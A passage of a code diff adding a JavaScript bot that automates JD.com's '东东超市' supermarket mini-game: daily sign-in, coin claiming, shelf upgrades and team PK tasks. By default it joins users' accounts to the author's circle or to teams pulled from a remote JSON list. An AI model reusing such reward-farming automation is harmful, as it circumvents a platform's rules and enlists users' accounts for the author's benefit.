beanSignRes = await smtgSign({"channel": "1"}); + if (beanSignRes && beanSignRes.data['bizCode'] === 0) { + console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) + } +} +//每日签到 +function smtgSign(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sign', body), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 商圈活动 +async function businessCircleActivity() { + // console.log(`\n商圈PK奖励,次日商圈大战开始的时候自动领领取\n`) + joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`); + const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo(); + if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) { + const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result; + console.log(`\njoinStatus:${joinStatus}`); + console.log(`pkStatus:${pkStatus}\n`); + console.log(`pkActivityId:${pkActivityId}\n`); + + if (joinStatus === 0) { + if (joinPkTeam === 'true') { + console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`) + await updatePkActivityIdCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateTeam.json'); + console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`); + console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`); + if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) { + await getTeam(); + let Teams = [] + Teams = $.updatePkActivityIdRes['Teams'] || Teams; + if ($.getTeams && $.getTeams.length) { + Teams = [...Teams, ...$.getTeams.filter(item => item['pkActivityId'] === `${pkActivityId}`)]; + } + const randomNum = randomNumber(0, Teams.length); + + const res = await smtg_joinPkTeam(Teams[randomNum] && Teams[randomNum].teamId, Teams[randomNum] && Teams[randomNum].inviteCode, pkActivityId); + if (res && res.data.bizCode === 0) { + console.log(`加入战队成功`) + } else if (res && res.data.bizCode === 229) { + console.log(`加入战队失败,该战队已满\n无法加入`) + } else { + console.log(`加入战队其他未知情况:${JSON.stringify(res)}`) + } + } else { + console.log('\nupdatePkActivityId请求返回的pkActivityId与京东服务器返回不一致,暂时不加入战队') + } + } + } else if (joinStatus === 1) { + if (teamId) { + console.log(`inviteCode: [${inviteCode}]`); + console.log(`PK队伍teamId: [${teamId}]`); + console.log(`PK队伍名称: [${currentUserPkInfo && currentUserPkInfo.teamName}]`); + console.log(`我邀请的人数:${inviteCount}\n`) + console.log(`\n我方战队战队 [${currentUserPkInfo && currentUserPkInfo.teamName}]/【${currentUserPkInfo && currentUserPkInfo.teamCount}】`); + console.log(`对方战队战队 [${pkUserPkInfo && pkUserPkInfo.teamName}]/【${pkUserPkInfo && pkUserPkInfo.teamCount}】\n`); + } + } + if (pkStatus === 1) { + console.log(`商圈PK进行中\n`) + if (!teamId) { + const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`) + if (receivedPkTeamPrize.data.bizCode === 0) { + if (receivedPkTeamPrize.data.result.pkResult === 1) { + const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + } + } + } + } + } else if (pkStatus === 2) { + console.log(`商圈PK结束了`) + if (prizeInfo.pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + // const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + // console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}`) + // if (receivedPkTeamPrize.data.bizCode === 0) { + // if (receivedPkTeamPrize.data.result.pkResult === 1) { + // const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + // message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + // } + // } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + // } + // } + // } + } else if (prizeInfo.pkPrizeStatus === 1) { + console.log(`商圈PK奖励已经领取\n`) + } + } else if (pkStatus === 3) { + console.log(`商圈PK暂停中\n`) + } + } else { + console.log(`\n${JSON.stringify(smtg_getTeamPkDetailInfoRes)}\n`) + } + return + const businessCirclePKDetailRes = await smtg_businessCirclePKDetail(); + if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) { + const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result; + console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`); + const businessCircleIndexRes = await smtg_businessCircleIndex(); + const { result } = businessCircleIndexRes.data; + const { pkPrizeStatus, pkStatus } = result; + if (pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + } + } + console.log(`我方商圈人气值/对方商圈人气值:${businessCircleVO.hotPoint}/${otherBusinessCircleVO.hotPoint}`); + console.log(`我方商圈成员数量/对方商圈成员数量:${businessCircleVO.memberCount}/${otherBusinessCircleVO.memberCount}`); + message += `【我方商圈】${businessCircleVO.memberCount}/${businessCircleVO.hotPoint}\n`; + message += `【对方商圈】${otherBusinessCircleVO.memberCount}/${otherBusinessCircleVO.hotPoint}\n`; + // message += `【我方商圈人气值】${businessCircleVO.hotPoint}\n`; + // message += `【对方商圈人气值】${otherBusinessCircleVO.hotPoint}\n`; + businessCircleJump = $.getdata('jdBusinessCircleJump') ? $.getdata('jdBusinessCircleJump') : businessCircleJump; + if ($.isNode() && process.env.jdBusinessCircleJump) { + businessCircleJump = process.env.jdBusinessCircleJump; + } + if (`${businessCircleJump}` === 'false') { + console.log(`\n小于对方300热力值自动更换商圈队伍: 您设置的是禁止自动更换商圈队伍\n`); + return + } + if (otherBusinessCircleVO.hotPoint - businessCircleVO.hotPoint > 300 && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过1天,对方商圈人气值还大于我方商圈人气值300,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } else if (otherBusinessCircleVO.hotPoint > businessCircleVO.hotPoint && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000 * 2))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过2天,对方商圈人气值还大于我方商圈人气值,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 222) { + console.log(`${businessCirclePKDetailRes.data.bizMsg}`); + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 206) { + console.log(`您暂未加入商圈,现在给您加入作者的商圈`); + const joinBusinessCircleRes = await smtg_joinBusinessCircle(myCircleId); + console.log(`参加商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + if (joinBusinessCircleRes.data.bizCode !== 0) { + console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`); + const BusinessCircleList = await smtg_getBusinessCircleList(); + if (BusinessCircleList.data.bizCode === 0) { + const { businessCircleVOList } = BusinessCircleList.data.result; + const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; + const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId); + console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + } + } + } else { + console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`); + } +} +//我的货架 +async function myProductList() { + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`\n货架数量:${shelfList && shelfList.length}`) + for (let item of shelfList) { + console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`); + console.log(`货架等级 level ${item.level}/${item.maxLevel}`); + console.log(`上架状态 groundStatus ${item.groundStatus}`); + console.log(`解锁状态 unlockStatus ${item.unlockStatus}`); + console.log(`升级状态 upgradeStatus ${item.upgradeStatus}`); + if (item.unlockStatus === 0) { + console.log(`${item.name}不可解锁`) + } else if (item.unlockStatus === 1) { + console.log(`${item.name}可解锁`); + await smtg_unlockShelf(item.shelfId); + } else if (item.unlockStatus === 2) { + console.log(`${item.name}已经解锁`) + } + if (item.groundStatus === 1) { + console.log(`${item.name}可上架`); + const productListRes = await smtg_shelfProductList(item.shelfId); + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + if (productList && productList.length > 0) { + // 此处限时商品未分配才会出现 + let limitTimeProduct = []; + for (let item of productList) { + if (item.productType === 2) { + limitTimeProduct.push(item); + } + } + if (limitTimeProduct && limitTimeProduct.length > 0) { + //上架限时商品 + await smtg_ground(limitTimeProduct[0].productId, item.shelfId); + } else { + await smtg_ground(productList[productList.length - 1].productId, item.shelfId); + } + } else { + console.log("无可上架产品"); + await unlockProductByCategory(item.shelfId.split('-')[item.shelfId.split('-').length - 1]) + } + } + } else if (item.groundStatus === 2 || item.groundStatus === 3) { + if (item.productInfo.productType === 2) { + console.log(`[${item.name}][限时商品]`) + } else if (item.productInfo.productType === 1){ + console.log(`[${item.name}]`) + } else { + console.log(`[${item.name}][productType:${item.productInfo.productType}]`) + } + } + } + } +} +//根据类型解锁一个商品,货架可上架商品时调用 +async function unlockProductByCategory(category) { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productListByCategory = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) { + productListByCategory.push(item); + } + } + if (productListByCategory && productListByCategory.length > 0) { + console.log(`待解锁的商品数量:${productListByCategory.length}`); + await smtg_unlockProduct(productListByCategory[productListByCategory.length - 1]['productId']); + } else { + console.log("该类型商品暂时无法解锁"); + } + } +} +//升级货架和商品 +async function upgrade() { + superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade; + if ($.isNode() && process.env.SUPERMARKET_UPGRADE) { + superMarketUpgrade = process.env.SUPERMARKET_UPGRADE; + } + if (`${superMarketUpgrade}` === 'false') { + console.log(`\n自动升级: 您设置的是关闭自动升级\n`); + return + } + console.log(`\n*************开始检测升级商品,如遇到商品能解锁,则优先解锁***********`) + console.log('目前没有平稳升级,只取倒数几个商品进行升级,普通货架取倒数4个商品,冰柜货架取倒数3个商品,水果货架取倒数2个商品') + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['productType'] === 1) { + productType1.push(item); + } + } + for (let item2 of productType1) { + if (item2['shelfCategory'] === 1) { + shelfCategory_1.push(item2); + } + if (item2['shelfCategory'] === 2) { + shelfCategory_2.push(item2); + } + if (item2['shelfCategory'] === 3) { + shelfCategory_3.push(item2); + } + } + shelfCategory_1 = shelfCategory_1.slice(-4); + shelfCategory_2 = shelfCategory_2.slice(-3); + shelfCategory_3 = shelfCategory_3.slice(-2); + const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3); + console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`) + for (let item of shelfCategorys) { + console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`) + } + shelfCategorys.sort(sortSyData); + for (let item of shelfCategorys) { + if (item['unlockStatus'] === 1) { + console.log(`\n开始解锁商品:${item['name']}`) + await smtg_unlockProduct(item['productId']); + break; + } + if (item['upgradeStatus'] === 1) { + console.log(`\n开始升级商品:${item['name']}`) + await smtg_upgradeProduct(item['productId']); + break; + } + } + } + console.log('\n**********开始检查能否升级货架***********'); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList_upgrade = []; + for (let item of shelfList) { + if (item['upgradeStatus'] === 1) { + shelfList_upgrade.push(item); + } + } + console.log(`待升级货架数量${shelfList_upgrade.length}个`); + if (shelfList_upgrade && shelfList_upgrade.length > 0) { + shelfList_upgrade.sort(sortSyData); + console.log("\n可升级货架名 等级 升级所需金币"); + for (let item of shelfList_upgrade) { + console.log(` [${item["name"]}] ${item["level"]}/${item["maxLevel"]} ${item["upgradeCostGold"]}`); + } + console.log(`开始升级[${shelfList_upgrade[0].name}]货架,当前等级${shelfList_upgrade[0].level},所需金币${shelfList_upgrade[0].upgradeCostGold}\n`); + await smtg_upgradeShelf(shelfList_upgrade[0].shelfId); + } + } +} +async function manageProduct() { + console.log(`安排上货(单价最大商品)`); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`我的货架数量:${shelfList && shelfList.length}`); + let shelfListUnlock = [];//可以上架的货架 + for (let item of shelfList) { + if (item['groundStatus'] === 1 || item['groundStatus'] === 2) { + shelfListUnlock.push(item); + } + } + for (let item of shelfListUnlock) { + const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品 + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + let productNow = [], productList2 = []; + for (let item1 of productList) { + if (item1['groundStatus'] === 2) { + productNow.push(item1); + } + if (item1['productType'] === 1) { + productList2.push(item1); + } + } + // console.log(`productNow${JSON.stringify(productNow)}`) + // console.log(`productList2${JSON.stringify(productList2)}`) + if (productList2 && productList2.length > 0) { + productList2.sort(sortTotalPriceGold); + // console.log(productList2) + if (productNow && productNow.length > 0) { + if (productList2.slice(-1)[0]['productId'] === productNow[0]['productId']) { + console.log(`货架[${item.shelfId}]${productNow[0]['name']}已上架\n`) + continue; + } + } + await smtg_ground(productList2.slice(-1)[0]['productId'], item['shelfId']) + } + } + } + } +} +async function limitTimeProduct() { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + const { productList } = smtgProductListRes.data.result; + let productList2 = []; + for (let item of productList) { + if (item['productType'] === 2 && item['groundStatus'] === 1) { + //未上架并且限时商品 + console.log(`出现限时商品[${item.name}]`) + productList2.push(item); + } + } + if (productList2 && productList2.length > 0) { + for (let item2 of productList2) { + const { shelfCategory } = item2; + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList2 = []; + for (let item3 of shelfList) { + if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) { + shelfList2.push(item3['shelfId']); + } + } + if (shelfList2 && shelfList2.length > 0) { + const groundRes = await smtg_ground(item2['productId'], shelfList2.slice(-1)[0]); + if (groundRes.data.bizCode === 0) { + console.log(`限时商品上架成功`); + message += `【限时商品】上架成功\n`; + } + } + } + } + } else { + console.log(`限时商品已经上架或暂无限时商品`); + } + } +} +//领取店铺升级的蓝币奖励 +async function receiveUserUpgradeBlue() { + $.receiveUserUpgradeBlue = 0; + if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { + for (let item of $.userUpgradeBlueVos) { + const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 }) + // $.log(`\n${JSON.stringify(receiveCoin)}`) + if (receiveCoin && receiveCoin.data['bizCode'] === 0) { + $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] + } + } + $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`) + } + const res = await smtgReceiveCoin({"type": 4, "channel": "18"}) + // $.log(`${JSON.stringify(res)}\n`) + if (res && res.data['bizCode'] === 0) { + console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); + } +} +async function Home() { + const homeRes = await smtgHome(); + if (homeRes && homeRes.data['bizCode'] === 0) { + const { result } = homeRes.data; + const { shopName, totalBlue } = result; + subTitle = shopName; + message += `【总蓝币】${totalBlue}个\n`; + } +} +//=============================================脚本使用到的京东API===================================== + +//===新版本 + +//查询有哪些货架 +function smtg_shopIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const { shopId, shelfList, merchandiseList, level } = data.data['result']; + message += `【店铺等级】${level}\n`; + if (shelfList && shelfList.length > 0) { + for (let item of shelfList) { + //status: 2可解锁,1可升级,-1不可解锁 + if (item['status'] === 2) { + $.log(`${item['name']}可解锁\n`) + await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 }) + } else if (item['status'] === 1) { + $.log(`${item['name']}可升级\n`) + await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 }); + } else if (item['status'] === -1) { + $.log(`[${item['name']}] 未解锁`) + } else if (item['status'] === 0) { + $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`) + } else { + $.log(`未知店铺状态(status):${item['status']}\n`) + } + } + } + if (data.data['result']['forSaleMerchandise']) { + $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) + } else { + if (merchandiseList && merchandiseList.length > 0) { + for (let item of merchandiseList) { + console.log(`发现限时商品${item.name}\n`); + await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁店铺 +function smtg_shelfUnlock(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`解锁店铺结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_shelfUpgrade(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`店铺升级结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//售卖限时商品API +function smtg_sellMerchandise(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`限时商品售卖结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版东东超市 +function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updatePkActivityIdCDN(url) { + return new Promise(async resolve => { + const headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} +function smtgDoShopTask(taskId, itemId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId, + "channel": "18" + } + if (itemId) { + body.itemId = itemId; + } + $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgObtainShopTaskPrize(taskId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId + } + $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgQueryShopTask() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgSignList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询商圈任务列表 +function smtgQueryPkTask() { + return new Promise( (resolve) => { + $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.bizCode === 0) { + const { taskList } = data.data.result; + console.log(`\n 商圈任务 状态`) + for (let item of taskList) { + if (item.taskStatus === 1) { + if (item.prizeStatus === 1) { + //任务已做完,但未领取奖励, 现在为您领取奖励 + await smtgObtainPkTaskPrize(item.taskId); + } else if (item.prizeStatus === 0) { + console.log(`[${item.title}] 已做完 ${item.finishNum}/${item.targetNum}`); + } + } else { + console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`) + if (item.content) { + const { itemId } = item.content[item.type]; + console.log('itemId', itemId) + await smtgDoPkTask(item.taskId, itemId); + } + } + } + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//PK邀请好友 +function smtgDoAssistPkTask(code) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doAssistPkTask', {"inviteCode": code}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgReceiveCoin(body) { + $.goldCoinData = {}; + return new Promise((resolve) => { + $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取PK任务做完后的奖励 +function smtgObtainPkTaskPrize(taskId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_obtainPkTaskPrize', {"taskId": taskId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgDoPkTask(taskId, itemId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getTeamPkDetailInfo() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCirclePKDetail() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getBusinessCircleList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//加入商圈API +function smtg_joinBusinessCircle(circleId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCircleIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_receivedPkTeamPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取商圈PK奖励 +function 